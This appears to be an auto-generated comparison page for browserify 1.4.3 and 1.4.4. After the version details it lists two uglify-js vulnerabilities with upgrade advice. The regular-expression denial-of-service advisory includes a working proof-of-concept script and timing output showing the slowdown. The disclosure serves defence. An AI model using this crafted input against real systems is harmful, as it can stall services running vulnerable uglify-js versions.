Browserify is a powerful tool for developers aiming to use Node.js-style modules in the browser. Versions 1.4.3 and 1.4.4 share similar core functionalities, both providing a way to require() modules on the client-side, mirroring the Node.js environment. They both list the same dependencies needed to function, this includes modules like nub,resolve, and optimist. Additionally, both versions incorporate the same suite of development dependencies ensuring consistent testing and building processes.
A key difference between the two, lies in their release dates. Version 1.4.4 was released on August 30, 2011, while the older 1.4.3 was released on August 19, 2011. This suggests that 1.4.4 likely contains bug fixes and minor improvements over its predecessor, although the specific changes aren't detailed in the provided data. For developers, this implies that upgrading to version 1.4.4 is generally recommended for enhanced stability and potentially better performance. Both versions share the same licensing, under MIT/X11, and authored by James Halliday. The consistent use of dependencies suggests that moving between these version should pose very little compatibility issues. Developers can fetch each package through its tarball url provided in the dist section.
All the vulnerabilities related to the version 1.4.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.